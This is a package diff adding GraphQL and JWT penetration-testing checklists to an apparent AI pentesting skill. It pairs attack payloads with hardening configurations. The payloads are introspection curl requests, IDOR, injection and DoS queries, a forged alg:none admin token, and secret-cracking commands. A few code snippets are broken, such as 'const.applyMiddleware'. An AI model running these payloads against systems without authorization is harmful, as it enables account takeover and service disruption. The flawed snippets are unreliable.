@soulofzephir/pi-skill-pentesting 1.0.0 → 1.0.1

package/skills/pentesting/checklists/graphql.md

@@ -0,0 +1,375 @@
+# GraphQL Security Checklist
+
+## 🔍 What is GraphQL?
+
+Query language for APIs - single endpoint, flexible queries.
+
+```
+POST /graphql
+```
+
+---
+
+## ⚠️ Common GraphQL Vulnerabilities
+
+### 1. Introspection Enabled (Production)
+
+**Check:**
+```bash
+# Get full schema
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'
+
+# Or
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{ __type(name: \"User\") { name fields { name type { name } } } }"}'
+```
+
+**Expected (Production):** Introspection disabled
+**Vulnerable:** Full schema exposed
+
+---
+
+### 2. GraphQL IDE Exposed
+
+**Check:**
+```
+/graphiql
+/graphql/console
+/IDE
+```
+
+**Risk:** Interactive testing interface exposed
+
+---
+
+### 3. Mass Assignment / Over-fetching
+
+**Test:**
+```graphql
+# Get all fields including hidden ones
+{
+  user(id: "1") {
+    id
+    name
+    email
+    password
+    isAdmin
+    role
+    createdAt
+    updatedAt
+  }
+}
+```
+
+---
+
+### 4. Authorization Bypass (IDOR)
+
+**Test:**
+```graphql
+# Access other users' data
+{
+  user(id: "1") {
+    name
+  }
+}
+
+{
+  user(id: "2") {
+    name
+  }
+}
+```
+
+**Risk:** No proper authorization check
+
+---
+
+### 5. SQL/NoSQL Injection
+
+**Test:**
+```graphql
+# SQL Injection
+query {
+  users(where: "1=1") {
+    id
+    name
+  }
+}
+
+# NoSQL Injection
+query {
+  user(id: {"$ne": null}) {
+    name
+  }
+}
+```
+
+---
+
+### 6. Batch Query Attack
+
+**Test:**
+```graphql
+# Brute force via batching
+query {
+  u1: user(id: "1") { password }
+  u2: user(id: "2") { password }
+  u3: user(id: "3") { password }
+  ...
+  u100: user(id: "100") { password }
+}
+```
+
+**Risk:** Bypasses rate limiting, enumerates users
+
+---
+
+### 7. Depth-based DoS
+
+**Test:**
+```graphql
+query {
+  user(id: "1") {
+    friends {
+      friends {
+        friends {
+          friends {
+            friends {
+              id
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+**Risk:** Server resource exhaustion
+
+---
+
+### 8. Alias-based DoS
+
+**Test:**
+```graphql
+query {
+  a1: user(id: "1") { id }
+  a2: user(id: "1") { id }
+  a3: user(id: "1") { id }
+  ...
+  a1000: user(id: "1") { id }
+}
+```
+
+**Risk:** Resource exhaustion via alias
+
+---
+
+## 🧪 GraphQL Testing Checklist
+
+### Phase 1: Discovery
+- [ ] GraphQL endpoint found?
+- [ ] Introspection enabled?
+- [ ] GraphQL IDE exposed?
+- [ ] Version detected?
+
+### Phase 2: Schema Analysis
+- [ ] Full schema enumerated
+- [ ] Hidden fields identified
+- [ ] Sensitive types found
+- [ ] Query/Mutation analyzed
+
+### Phase 3: Authorization
+- [ ] IDOR vulnerabilities
+- [ ] Horizontal privilege escalation
+- [ ] Vertical privilege escalation
+- [ ] Broken field level auth
+
+### Phase 4: Injection
+- [ ] SQL Injection
+- [ ] NoSQL Injection
+- [ ] Command Injection
+- [ ] Code Injection
+
+### Phase 5: DoS & Abuse
+- [ ] Batch queries
+- [ ] Query depth limits
+- [ ] Query complexity
+- [ ] Alias limits
+
+### Phase 6: Additional
+- [ ] CORS misconfiguration
+- [ ] CSRF via mutations
+- [ ] Bypass via persisted queries
+
+---
+
+## 🛠️ Tools
+
+```bash
+# GraphQL Map
+nmap --script graphql-introspection -p 443 target.com
+
+# InQL (Burp Extension)
+# GraphQL Voyager
+
+# Manual
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{ __schema { queryType { name } } }"}'
+```
+
+---
+
+## 🔧 Common GraphQL Payloads
+
+### Introspection Query
+```graphql
+{
+  __schema {
+    types {
+      name
+      kind
+      fields {
+        name
+        type {
+          name
+          kind
+        }
+      }
+    }
+    directives {
+      name
+      args {
+        name
+        type {
+          name
+        }
+      }
+    }
+  }
+}
+```
+
+### Find Mutations
+```graphql
+{
+  __schema {
+    mutationType {
+      name
+      fields {
+        name
+        args {
+          name
+          type {
+            name
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+### Nested Query (DoS)
+```graphql
+query {
+  user(id: "1") {
+    posts {
+      comments {
+        author {
+          posts {
+            comments {
+              author {
+                id
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+---
+
+## 📋 GraphQL Security Score
+
+| Feature | Secure | Insecure |
+|---------|--------|----------|
+| Introspection | Disabled | Enabled |
+| GraphiQL | Disabled | Enabled |
+| Query Depth Limit | Set | Unset |
+| Query Complexity | Limited | Unlimited |
+| Rate Limiting | Enabled | Disabled |
+| Batch Queries | Limited | Unlimited |
+| Authorization | Field-level | Type-level |
+
+---
+
+## 🛡️ Secure GraphQL Configuration
+
+### Disable Introspection (Production)
+```javascript
+// Apollo Server
+const server = new ApolloServer({
+  schema,
+  introspection: false,
+  playground: false
+});
+```
+
+### Query Depth Limiting
+```javascript
+const depthLimit = require('graphql-depth-limit');
+const { maxDepth } = require('./config');
+
+server.applyMiddleware({
+  validationRules: [depthLimit(maxDepth)]
+});
+```
+
+### Query Complexity Limiting
+```javascript
+const { createComplexityLimitRule } = require('graphql-validation-complexity');
+
+const complexityLimit = createComplexityLimitRule(1000);
+
+server.applyMiddleware({
+  validationRules: [complexityLimit]
+});
+```
+
+### Rate Limiting
+```javascript
+const rateLimit = require('express-rate-limit');
+const.applyMiddleware({
+  app: express(),
+  path: '/graphql'
+});
+
+app.use('/graphql', rateLimit({
+  windowMs: 15 * 60 * 1000,
+  max: 100
+}));
+```
+
+---
+
+## 📊 GraphQL Risk Matrix
+
+| Vulnerability | CVSS | Fix Priority |
+|--------------|------|-------------|
+| Introspection exposed | 3.0 | MEDIUM |
+| IDOR in queries | 7.5 | HIGH |
+| Batch attack | 6.5 | MEDIUM |
+| Depth-based DoS | 7.5 | HIGH |
+| SQL/NoSQL Injection | 9.0 | CRITICAL |
+| Auth bypass | 9.0 | CRITICAL |
+| Mass assignment | 7.5 | HIGH |

package/skills/pentesting/checklists/jwt.md

@@ -0,0 +1,225 @@
+# JWT Security Checklist
+
+## 🔍 What is JWT?
+
+JSON Web Token (JWT) - Stateless authentication token.
+
+```
+Header.Payload.Signature
+```
+
+---
+
+## ⚠️ Common JWT Vulnerabilities
+
+### 1. Algorithm Confusion (Alg: none)
+
+**Test:**
+```bash
+# Change alg to "none" and remove signature
+eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.
+```
+
+**Expected:** Token should be rejected
+**Vulnerable:** Token accepted as admin
+
+---
+
+### 2. RS256 → HS256 (Algorithm Switching)
+
+**Test:**
+1. Get public key from: `/jwks.json`, `/.well-known/jwks.json`
+2. Change `alg: RS256` to `alg: HS256`
+3. Sign with public key as secret
+
+**Vulnerable:** Server uses HS256 with weak secret derived from public key
+
+---
+
+### 3. Weak Secrets (Brute Force)
+
+**Test:**
+```bash
+# Crack JWT with weak secret
+hashcat -a 0 -m 16500 jwt.txt wordlist.txt
+
+# Or use jwt_tool
+python jwt_tool.py <JWT> -C -d wordlist.txt
+```
+
+---
+
+### 4. Null Signature
+
+**Test:**
+```json
+{
+  "alg": "HS256",
+  "typ": "JWT"
+}
+```
+
+**Payload:** Remove signature entirely or use empty
+
+---
+
+### 5. JWKS Cache Poisoning
+
+**Test:**
+1. Get JWKS endpoint
+2. Create malicious key
+3. Poison cache with your key
+
+---
+
+## 🧪 JWT Testing Checklist
+
+### Phase 1: Token Analysis
+- [ ] Token structure valid?
+- [ ] Algorithm used (none, HS256, RS256, ES256)?
+- [ ] Token expiration set?
+- [ ] Issued time (iat) present?
+- [ ] Issuer (iss) present?
+- [ ] Audience (aud) present?
+
+### Phase 2: Algorithm Attacks
+- [ ] `alg: none` vulnerability
+- [ ] Algorithm confusion (RS256 → HS256)
+- [ ] Weak secret brute force
+- [ ] Null signature accepted
+
+### Phase 3: Token Manipulation
+- [ ] User enumeration via error messages
+- [ ] Modify `exp` claim (expiration)
+- [ ] Modify `iat` claim (issued at)
+- [ ] Modify `nbf` claim (not before)
+- [ ] Modify `iss` claim (issuer)
+- [ ] Modify `aud` claim (audience)
+- [ ] Modify `jti` claim (JWT ID)
+- [ ] Privilege escalation (user → admin)
+
+### Phase 4: Signature Bypass
+- [ ] Empty signature accepted
+- [ ] Modified `alg` accepted
+- [ ] Public key used as secret
+- [ ] Key confusion attack
+
+### Phase 5: Key Management
+- [ ] JWKS endpoint exposed?
+- [ ] JWKS cache poisoning possible?
+- [ ] Keys properly rotated?
+- [ ] Weak keys used?
+
+---
+
+## 🔧 Common JWT Payloads
+
+### None Algorithm
+```json
+{
+  "alg": "none",
+  "typ": "JWT"
+}
+```
+Payload: `{"sub":"admin","role":"admin"}`
+Signature: (empty)
+
+### Privilege Escalation
+```json
+{"sub":"user","role":"user","iat":9999999999}
+```
+Change to:
+```json
+{"sub":"admin","role":"admin","iat":9999999999}
+```
+
+### Time Manipulation
+```json
+{"sub":"user","exp":1234567890}
+```
+Change `exp` to far future
+
+---
+
+## 🛠️ Tools
+
+```bash
+# JWT Toolkit
+pip install jwt_tool
+python jwt_tool.py <JWT> -T
+
+# John the Ripper
+john --wordlist=rockyou.txt jwt_hashes.txt --format=HMAC-SHA256
+
+# Burp Suite Extension
+# JWT Editor Plugin
+
+# Online Decoder
+jwt.io
+```
+
+---
+
+## 📋 JWT Security Checklist Summary
+
+| Test | Risk | Tool |
+|------|------|------|
+| alg:none bypass | 🔴 CRITICAL | Manual |
+| Algorithm confusion | 🔴 CRITICAL | jwt_tool |
+| Weak secret brute | 🟠 HIGH | hashcat/jwt_tool |
+| Null signature | 🟠 HIGH | Manual |
+| Token manipulation | 🟠 HIGH | Manual |
+| JWKS poisoning | 🟠 HIGH | Manual |
+| Sensitive data in payload | 🟡 MEDIUM | Manual |
+
+---
+
+## 🛡️ Secure JWT Configuration
+
+### Server-Side Best Practices
+```javascript
+// Use strong secret (min 256 bits)
+const secret = crypto.randomBytes(32);
+
+// Verify all claims
+const decoded = jwt.verify(token, secret, {
+    algorithms: ['HS256'],
+    issuer: 'expected-issuer',
+    audience: 'expected-audience',
+    expiresIn: '15m'
+});
+
+// Include necessary claims
+{
+    "iss": "your-app",
+    "aud": "your-api",
+    "iat": 1234567890,
+    "exp": 1234567890,
+    "sub": "user-id"
+}
+```
+
+### Client-Side Best Practices
+```javascript
+// Store securely
+// HttpOnly cookie (recommended)
+// NOT localStorage (XSS vulnerable)
+
+// Validate token
+if (token && token.exp * 1000 > Date.now()) {
+    // Token valid
+}
+```
+
+---
+
+## 📊 JWT Risk Matrix
+
+| Vulnerability | CVSS | Fix Priority |
+|--------------|------|-------------|
+| alg:none accepted | 9.8 | IMMEDIATE |
+| Algorithm confusion | 8.1 | IMMEDIATE |
+| Weak secret crackable | 7.5 | HIGH |
+| Null signature | 7.5 | HIGH |
+| No expiration | 6.5 | MEDIUM |
+| Sensitive data in JWT | 5.3 | MEDIUM |